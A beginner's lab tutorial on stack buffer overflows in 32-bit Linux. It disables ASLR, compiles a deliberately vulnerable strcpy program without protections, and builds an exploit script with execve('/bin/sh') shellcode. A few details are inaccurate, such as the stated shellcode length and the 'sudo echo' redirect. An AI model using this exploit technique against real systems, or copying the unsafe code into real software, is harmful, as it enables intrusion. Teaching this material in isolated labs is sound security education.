Stacked Linux Buffer Overflows
buffer overflows for beginners
What Is a Buffer Overflow?
A buffer overflow occurs when a program writes more data to a buffer than it has allocated space for. The excess data overwrites adjacent memory—including function return addresses. By controlling that return address, an attacker can redirect execution to malicious code (shellcode).
Visual Diagram: Normal vs. Overflow
flowchart LR
subgraph NE["Normal Execution"]
direction TB
A[Stack Layout] --> B[Local Buffer<br/>8 bytes]
B --> C[Saved EBP<br/>4 bytes]
C --> D[Return Address<br/>4 bytes]
D --> E[Function returns safely]
end
subgraph OE["Overflow Exploit"]
direction TB
F[Overflowed Buffer] --> G[A x12 - padding]
G --> H[BBBB - overwrites EBP]
H --> I[CCCC - overwrites Return Addr]
I --> J[Redirect to shellcode]
end
NE ~~~ OE
Prerequisites
- Linux distro (Ubuntu 20.04+ or Kali)
- gcc, gdb, python3, peda (GDB extension)
- A 32-bit system (or 32-bit chroot/multiarch)
Warning: This tutorial is for educational purposes. Only run these exercises in isolated lab environments (VMs). Disabling security features makes your host vulnerable.
Step 1: Disable ASLR (Address Space Layout Randomization)
ASLR randomizes memory addresses each time a program runs, making it hard to guess where shellcode lives. We disable it for learning.
Check current ASLR setting
cat /proc/sys/kernel/randomize_va_space
Possible values:
0= No randomization (what we want)1= Conservative randomization2= Full randomization (default on modern Linux)
Disable ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
# Or using sysctl
sudo sysctl -w kernel.randomize_va_space=0
To make it permanent (not recommended for daily use):
echo "kernel.randomize_va_space=0" | sudo tee -a /etc/sysctl.conf
Step 2: Compile a Vulnerable Program
Create a file called vuln.c:
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *user_input) {
char buffer[64];
strcpy(buffer, user_input); // <-- UNSAFE: no bounds checking
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s <input_string>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
printf("Execution normal.\n");
return 0;
}
Compile with protections OFF
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
| Flag | What it does |
|---|---|
-m32 |
Compile as 32-bit (easier addresses) |
-fno-stack-protector |
Disables Stack Canaries |
-z execstack |
Stack is executable (shellcode allowed) |
-no-pie |
Disables Position Independent Executable |
Verify:
file vuln
checksec --file=vuln # if checksec is installed
Step 3: Find the Crash Offset (Fuzzing with Pattern)
We need to know exactly how many bytes to send before overwriting the return address.
Generate a unique pattern (using pattern_create from Metasploit)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
# Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Run the program in GDB with the pattern
gdb ./vuln
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Segmentation fault. GDB shows the crash address, e.g., 0x63413563 (ASCII c5Ac).
Find the exact offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563 -l 100
# Output: [*] Exact match at offset 76
Result: After 76 bytes, the next 4 bytes overwrite the return address.
Step 4: Write the Exploit
We now know:
- Buffer size to overflow: 76 bytes
- Return address starts at byte 76-79
- We need shellcode (e.g., execve
/bin/sh)
Create exploit.py
#!/usr/bin/env python3
import struct
# 32-bit shellcode: execve("/bin/sh", NULL, NULL)
# x86 Linux - 23 bytes
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" +
b"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0" +
b"\x0b\xcd\x80"
)
# NOP sled (landing zone for execution)
nop_sled = b"\x90" * 20
# Padding to reach return address
padding = b"A" * (76 - len(nop_sled) - len(shellcode))
# Guess the return address (example: 0xffffd200)
# You will find this via GDB (see Step 5)
ret_addr = 0xffffd200
# Build the payload
payload = nop_sled + shellcode + padding + struct.pack("<I", ret_addr)
# Write to file for piping
with open("payload.bin", "wb") as f:
f.write(payload)
print(f"[+] Payload length: {len(payload)} bytes")
print(f"[+] Return address: 0x{ret_addr:08x}")
Step 5: Find the Real Return Address (Live Debug)
In GDB, find where the buffer lives in memory.
gdb ./vuln
(gdb) break vulnerable_function
(gdb) run $(python3 -c 'print("A"*100)')
(gdb) next 2
(gdb) x/20x $esp
Or set a breakpoint after strcpy and examine:
(gdb) break *vulnerable_function+20 # approximate after strcpy
(gdb) run $(python3 -c 'print("A"*100)')
(gdb) x/100x $esp
Look for the address of your A characters (0x41 in hex). Pick an address in the middle of the NOP sled (e.g., 0xffffd2a0). Update ret_addr in the exploit.
Step 6: Execute the Exploit
With ASLR disabled and the correct return address:
# Run with payload
./vuln "$(cat payload.bin)"
If it doesn’t work immediately, adjust:
- Return address (up/down by
0x10offsets) - NOP sled length (increase to 50-100 bytes)
When successful:
$ ./vuln "$(cat payload.bin)"
# No "Execution normal" message
# Instead, you get a shell:
$ whoami
user
$ exit
The Full Attack Flow
flowchart TD
A[Compile vuln.c<br/>with no protections] --> B[Disable ASLR<br/>kernel.randomize_va_space=0]
B --> C[Fuzz with pattern<br/>find crash offset = 76]
C --> D[Generate shellcode<br/>execve /bin/sh]
D --> E[Build payload:<br/>NOP sled + shellcode + padding + return addr]
E --> F[Debug in GDB<br/>find buffer address]
F --> G{Exploit works?}
G -- No --> H[Adjust return address<br/>or NOP sled length]
H --> F
G -- Yes --> I[Privesc shell]
Important Modern Protections (Bypass Overview)
| Protection | What it does | Common bypass |
|---|---|---|
| ASLR | Randomizes library/stack/heap addresses | Brute force, infoleaks |
| Stack Canaries | Places a secret value before return addr | Overflow without touching canary, infoleaks |
| NX (No-Execute) | Stack not executable | Return-to-libc, ROP chains |
| PIE | Randomizes code addresses | Infoleaks, partial overwrites |
Clean Up (Re-enable Security)
# Re-enable ASLR
sudo sysctl -w kernel.randomize_va_space=2
# Delete vulnerable binary and exploit
rm vuln payload.bin exploit.py
Practice Challenges
- Change the buffer size in
vuln.cfrom 64 to 32. Re-find the offset. - Add a canary back (
-fstack-protector) and watch it crash differently. - Remove
-z execstack— the exploit fails. Now research “Return-to-libc”.
Final Diagram: Stack Before vs. After Overflow
flowchart LR
subgraph BEFORE["Before Overflow"]
direction TB
S1[Local buffer - 64 bytes]
S2[Saved EBP - 4 bytes]
S3[Return Address - 4 bytes]
S4[Arguments - user_input ptr]
S1 --> S2 --> S3 --> S4
end
subgraph AFTER["After Overflow"]
direction TB
A1[NOP sled - 20 bytes]
A2[Shellcode - 23 bytes]
A3[Padding - 33 bytes]
A4[Overwritten EBP - BBBB]
A5[Overwritten Ret Addr - 0xffffd200]
A6[Execution jumps to NOP sled]
A1 --> A2 --> A3 --> A4 --> A5 --> A6
end
BEFORE ~~~ AFTER
You’ve just completed a classic stack-based buffer overflow. This is the foundation of modern binary exploitation. From here, learn Return-Oriented Programming (ROP) to defeat NX and ASLR in real-world scenarios.